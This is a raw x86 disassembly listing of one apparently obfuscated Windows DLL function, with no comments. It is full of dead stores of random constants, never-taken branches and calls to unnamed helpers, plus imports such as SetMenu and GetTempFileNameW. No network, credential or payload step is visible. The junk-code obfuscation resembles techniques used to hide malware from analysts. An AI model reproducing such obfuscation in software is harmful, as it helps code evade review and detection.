jmp 0x100d4a54
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x34]
setle cl
add eax, ecx
cmp eax, dword [ebp - 0x34]
jne 0x100d4a89
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100d4b88
xor eax, eax
mov edx, 0xfd0
lea ecx, [eax + 1]
call fcn.100d36a9
jmp 0x100d4b88
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], 0xfffffffa
mov dword [ebp - 0x2c], 0x9248e6ba
cmp dword [ebp - 0x1c], ebx
je 0x100d4b2f
cmp dword [ebp - 0x28], ebx
jne 0x100d4aae
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setge dl
cmp edx, dword [ebp - 0x34]
jle 0x100d4b2f
xor edx, edx
inc edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x30], 0xb1b9b96
cmp dword [ebp - 0x28], ebx
je 0x100d4af7
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
add eax, dword [ebp - 0x24]
cmp eax, edx
mov eax, dword [ebp - 0x2c]
setg cl
xor edx, edx
cmp edx, eax
sbb eax, eax
inc edx
neg eax
cmp ecx, eax
mov eax, edx
jne 0x100d4af9
mov eax, ebx
cmp eax, dword [ebp - 0x24]
jle 0x100d4b05
mov ecx, ebx
cmp dword [ebp - 0x30], ebx
je 0x100d4b07
mov ecx, edx
xor eax, eax
cmp ecx, 0xfffffffa
mov ecx, dword [ebp - 0x20]
sete al
sub ecx, eax
mov eax, edx
sub ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x1c]
inc dword [ebp - 0x20]
cmp ecx, edx
cmovbe eax, ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
jmp 0x100d4b4e
xor cl, cl
call fcn.100d384e
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100d4b4e
xor eax, eax
mov edx, 0x4535
lea ecx, [eax + 1]
call fcn.100d36cf
mov dword [ebp - 0x20], ebx
jmp 0x100d4b82
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100d4b7f
push 0x949
push 0x24eb
push 0x6ed7
push 0x3d55
mov edx, 0x5eed
xor cl, cl
call fcn.100d38d6
add esp, 0x10
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
je 0x100d4b53
mov dword [ebp - 0x14], ebx
xor ecx, ecx
mov dword [ebp - 0x1c], 0xffffffff
inc ecx
mov dword [ebp - 0x1c], ebx
jmp 0x100d4bab
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd0], 0x51ad
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100d4b9a
mov dword [ebp - 0x14], ebx
jmp 0x100d4be9
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x100d4be0
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100d4bdb
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetMenu]
dec dword [ebp - 0x1c]
jns 0x100d4bc4
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe2
je 0x100d4bb5
mov dword [ebp - 0x14], ebx
jmp 0x100d4c1e
mov dword [ebp - 0x1c], 0x11
jmp 0x100d4c15
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100d4c12
xor dl, dl
mov ecx, 0x2719
call fcn.100d3ab6
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffa
jne 0x100d4bfd
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x11
jg 0x100d4bf4
xor cl, cl
call fcn.100d3a06
xor eax, eax
mov dword [ebp - 0x8b], 0x1125002d
inc eax
mov dword [ebp - 0x87], 0x443cba0c
mov edi, ebx
mov byte [ebp - 0x8c], al
mov dword [ebp - 0x83], 0xe1b65fed
mov esi, ebx
mov dword [ebp - 0x7f], 0xcdf93b3e
mov dword [ebp - 0x7b], 0xa42d089a
mov dword [ebp - 0x77], 0x2a023603
mov dword [ebp - 0x20], edi
jmp 0x100d4c71
inc eax
cmp esi, 4
jne 0x100d4d31
mov dword [ebp - 0x14], 0xe91a049f
mov dword [ebp - 0x14], 0xffffffed
jmp 0x100d4d03
mov dword [ebp - 0x20], 0x22124f84
mov dword [ebp - 0x20], 0xe
jmp 0x100d4cfa
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 0xffffffe6
jge 0x100d4cf7
xor ebx, ebx
inc ebx
mov dword [ebp - 0xec], 0x65653d42
lea edx, [ebp - 0x150]
mov dword [ebp - 0xe8], 0x65653d42
mov cl, bl
mov dword [ebp - 0xe4], 0x65653d42
mov dword [ebp - 0xe0], 0x65653d42
mov dword [ebp - 0x150], 0xbfc88eb9
call fcn.100d36e8
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe6
jl 0x100d4cad
xor ebx, ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xf
jge 0x100d4c9a
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe2
jge 0x100d4c8a
mov dword [ebp - 0x14], ebx
jmp 0x100d4d1d
xor dl, dl
mov ecx, 0x7a14
call fcn.100d3b48
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffec
jne 0x100d4d0e
push 0x11
pop edi
push 0x13
mov dword [ebp - 0x20], edi
pop esi
jmp 0x100d4efd
mov dword [ebp - 0x40], 0x3b26bdde
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x24], 0xcf33f23e
mov dword [ebp - 0x64], 5
mov dword [ebp - 0x2c], 0xe53494ab
mov dword [ebp - 0xb8], 0xfd8c6581
mov dword [ebp - 0x40], 9
cmp dword [ebp - 0x40], 2
jg 0x100d4ddf
xor ebx, ebx
inc ebx
mov dword [ebp - 0x178], 0xd9b4e94f
mov edx, 0x1b27
mov dword [ebp - 0x174], ebx
mov cl, bl
mov dword [ebp - 0x11c], 0x9b8f
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x174]
push eax
push 0x20ba
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0xb8]
push eax
lea eax, [ebp - 0x178]
push eax
push 0x36e1
call fcn.100d3727
add esp, 0x24
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 2
jle 0x100d4d6d
xor eax, eax
xor ebx, ebx
inc eax
cmp dword [ebp - 0x64], ebx
jne 0x100d4deb
mov ecx, ebx
cmp dword [ebp - 0x24], ebx
je 0x100d4ded
mov ecx, eax
mov eax, dword [ebp - 0x40]
neg ecx
neg eax
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, 0x5de082ad
jg 0x100d4e13
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x40]
lea edx, [ebp - 0x12c]
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x64]
add eax, 0xfffffffc
add ecx, eax
movzx eax, byte [ebp + esi - 0x8b]
sub eax, esi
mov dword [ebp - 0x24], ecx
dec eax
mov dword [ebp - 0x120], 0xa87013dc
add edi, eax
mov dword [ebp - 0x12c], 0x94d03572
lea eax, [ebp - 0x120]
mov dword [ebp - 0x128], 0xf88039d6
push eax
xor eax, eax
mov dword [ebp - 0x124], 0x2184e5a9
inc eax
mov ecx, 0x29fb
push eax
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp - 0x128]
push eax
push 0x5354
call fcn.100d376e
mov byte [ebp - 0x15], bl
add esp, 0x14
cmp byte [ebp - 0x15], 0
je 0x100d4eaa
xor eax, eax
mov edx, 0xc85
inc eax
mov ecx, 0x4cad
push eax
call fcn.100d37f3
pop ecx
test edi, edi
jns 0x100d4ec0
or eax, 0xffffffff
sub eax, edi
add edi, 0x100
and eax, 0xffffff00
add edi, eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x1c], ebx
jmp 0x100d4ee4
cmp dword [ebp - 0x1c], ebx
jne 0x100d4eea
xor eax, eax
mov byte [ebp - 0x45], bl
lea ecx, [ebp - 0x45]
lea edx, [eax + 1]
call fcn.100d3826
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xb
jle 0x100d4ecc
movzx eax, byte [ebp + esi - 0x8c]
mov word [ebp + eax*2 - 0x184], di
mov edi, dword [ebp - 0x20]
add esi, 2
xor eax, eax
cmp esi, 0x19
jb 0x100d4c70
mov word [ebp - 0x17c], ax
or edi, 0xffffffff
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x1c], ebx
jmp 0x100d4f2e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2a8], 0x6801fc3e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100d4f1d
xor eax, eax
lea ecx, [eax + 1]
call fcn.100d384e
push 0x1d
mov dword [ebp - 0x50], ebx
pop esi
jmp 0x100d503e
mov dword [ebp - 0x20], 0x7df2f4a8
mov dword [ebp - 0xd4], ebx
mov dword [ebp - 0x20], ebx
jmp 0x100d5029
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], 2
cmp dword [ebp - 0x3c], ebx
jl 0x100d4fcf
mov dword [ebp - 0x1c], ebx
jmp 0x100d4f83
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x160], 0x1d21f1eb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100d4f72
mov eax, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x2a8], ebx
jne 0x100d4fcf
mov dword [ebp - 0x15c], ebx
cmp dword [ebp - 0x15c], 2
jg 0x100d4fca
xor ebx, ebx
inc ebx
push 0xa0a
mov dl, bl
mov ecx, 0x2199
call fcn.100d388d
inc dword [ebp - 0x15c]
cmp dword [ebp - 0x15c], 2
pop ecx
jle 0x100d4fa7
dec dword [ebp - 0x3c]
jns 0x100d4f6d
mov dword [ebp - 0x3c], ebx
jmp 0x100d5020
mov dword [ebp - 0x54], 6
mov dword [ebp - 0x54], ebx
cmp dword [ebp - 0x54], esi
jg 0x100d501d
xor ebx, ebx
inc ebx
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x14c], 0x8339
push eax
lea eax, [ebp - 0x14c]
mov cl, bl
push eax
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x50]
call fcn.100d38d6
add esp, 0x10
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], esi
jle 0x100d4fe6
xor ebx, ebx
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xffffffea
jl 0x100d4fd4
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffeb
je 0x100d4f5e
cmp dword [ebp - 0xd4], ebx
jne 0x100d5047
cmp dword [ebp - 0x50], esi
jg 0x100d4f49
lea eax, [ebp - 0x184]
push eax
lea ecx, [ebp - 0x358]
call fcn.10013e17
mov esi, eax
lea eax, [ebp - 0x29c]
mov byte [ebp - 4], 8
push eax
lea ecx, [ebp - 0x304]
call fcn.10013e17
lea ecx, [ebp - 0x264]
mov byte [ebp - 4], 9
push ecx
mov edx, eax
lea ecx, [ebp - 0x31c]
call fcn.10029ffa
pop ecx
push esi
mov edx, eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1a4]
call fcn.10038416
pop ecx
xor eax, eax
lea ecx, [ebp - 0x31c]
push ebx
inc eax
push eax
call fcn.10014448
xor eax, eax
lea ecx, [ebp - 0x304]
push ebx
inc eax
push eax
call fcn.10014448
xor eax, eax
mov byte [ebp - 4], 0xe
push ebx
inc eax
lea ecx, [ebp - 0x358]
push eax
call fcn.10014448
lea eax, [ebp - 0xd8]
mov dword [ebp - 0xd8], 0x2db58e46
push eax
xor dl, dl
mov dword [ebp - 0x134], 0xe57ad95e
lea ecx, [ebp - 0x134]
call fcn.100d39b3
xor eax, eax
lea edx, [ebp - 0xd8]
pop ecx
lea ecx, [eax + 1]
call fcn.100d3912
mov esi, ebx
xor eax, eax
lea ecx, [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x14], eax
push 3
call fcn.10013ee8
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x2c], 0x86f25db2
xor eax, eax
mov dword [ebp - 0x2c], edi
inc eax
mov dword [ebp - 0x2c], 0xfffffffc
mov edx, 0x2142
mov dword [ebp - 0x2c], 0xd2ae857b
push eax
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x2c], 0x50c85761
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x1ec]
push 0x706c
push eax
call fcn.100d3965
add esp, 0xc
mov dword [ebp - 0x4c], ebx
jmp 0x100d517e
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x328], edi
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 3
jl 0x100d5171
mov eax, dword [ebp - 0x14]
mov ecx, 0xc88eb987
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
sbb eax, eax
neg eax
add eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
add eax, 2
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x14]
je 0x100d51db
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], ebx
jl 0x100d52ec
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1ec]
cmp dword [eax + ecx*4], ebx
jne 0x100d52ec
dec dword [ebp - 0x14]
jns 0x100d51bf
jmp 0x100d52ec
push dword [ebp - 0xd0]
movdqa xmm0, xmmword [0x1000ead0]
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x274]
mov dword [ebp - 0x170], ebx
push eax
push ebx
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x16c], ebx
movdqu xmmword [ebp - 0x274], xmm0
mov dword [ebp - 0x168], ebx
call fcn.10014f3b
mov dword [ebp - 0x30], 0x53e80c65
xor ecx, ecx
mov dword [ebp - 0x30], ebx
inc ecx
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x30], 0xfffffffc
mov dword [ebp - 0x14], ebx
jmp 0x100d524a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc8], 0xe215169f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100d5239
mov dword [ebp - 0x14], ebx
jmp 0x100d5265
cmp dword [ebp - 0x14], 2
jl 0x100d5254
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100d530a
xor eax, eax
mov ecx, 0x6503
push 0x2eda
lea edx, [eax + 1]
call fcn.100d39b3
pop ecx
lea ecx, [ebp - 0x1ec]
mov byte [ebp - 4], 0xe
call fcn.100144eb
xor eax, eax
mov word [ebp + esi*2 - 0x29c], ax
inc esi
cmp esi, 0xb
jb 0x100d510c
mov esi, ebx
mov edi, 0x6f9b6917
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x2c], 0xdf39281
mov dword [ebp - 0x1c], ebx
jmp 0x100d5358
cmp dword [ebp - 0x1c], 2
jl 0x100d5347
xor eax, eax
lea ecx, [ebp - 0x2c0]
push ebx
inc eax
push eax
call fcn.10014448
jmp 0x100d5705
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], bl
je 0x100d5705
push ebx
push 0x2281
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret